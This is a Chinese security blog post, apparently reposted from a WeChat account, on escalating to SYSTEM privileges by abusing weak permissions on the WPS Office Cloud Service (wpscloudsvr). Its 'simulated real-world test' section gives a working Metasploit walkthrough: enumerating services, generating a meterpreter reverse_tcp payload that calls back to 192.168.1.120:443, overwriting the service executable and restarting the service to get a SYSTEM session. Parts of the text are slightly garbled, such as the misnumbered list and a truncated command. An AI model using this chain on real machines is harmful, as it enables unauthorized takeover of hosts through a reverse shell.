|
0x01 前言
但这个服务貌似并没有起到其实际作用,因为它默认为停止状态,启动类型为禁止或者手动,而且运行的是WPSOffice安装目录下的wpscloudsvr.exe,并非该服务指定的wpscloudsvr.exe。
本地测试环境信息:
操作系统:Windows 10教育版17134、Windows Server 2016 Datacenter
软件版本:WPS Office 2020 11.1.0.9999
WPS Office安装路径:D:WPS Office
WPS Office进程名:wps.exe、wpscloudsvr.exe等
WPS Office服务名:wpscloudsvr(WPS Office Cloud Service)
0x02 绕过原理分析
WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的,而且允许在ApplicationPoolIdentity、NetworkService和未过UAC的用户启动和停止该服务,并且有权限替换服务指定的wpscloudsvr.exe,所以能够直接利用这种方式进行权限提升,但需要注意以下几点。
2. wpscloudsvr.exe Users权限问题,Win10和2016默认给的权限不一样,可能会替换不了文件;
3. WPSOffic新版本中可能已经修复该问题,可以替换文件,但是不能启动wpscloudsvr服务;
.wpscloudsvr.exe | format-list
icacls wpscloudsvr.exe
net start wpscloudsvr
0x02 模拟实战测试
(1) 使用MSF下的post/windows/gather/enum_services模块获取当前主机上的服务信息,找到一个以SYSTEM权限运行的wpscloudsvr服务,并且可用net命令停止和开启该服务。
meterpreter > run post/windows/gather/enum_services
(2) 既然有权限启动和停止wpscloudsvr服务,那么我们就直接将该服务的可执行文件替换为远控马或MSF攻击载荷,不过必须拥有Users完全控制权限才可替换,替换前记得备份一下,然后依次执行以下命令并重启wpscloudsvr服务后即可得到一个SYSTEM权限会话。
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443-f exe > /tmp/wpscloudsvr.exe
meterpreter > cd C:\ProgramData\Kingsoft\office6\
meterpreter > cp wpscloudsvr.exe wpscloudsvr1.exe
meterpreter > upload /tmp/wpscloudsvr.exe wpscloudsvr.exe
meterpreter > execute -Hc -i -f "c:\windows\system32\cmd.exe" -a "/c net start wpscloudsvr"
参考文章:
https://mp.weixin.qq.com/s/s1xWapre2xa5bAP-VoY_Ww
本文始发于微信公众号(潇湘信安):利用WPS-Office绕过UAC提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论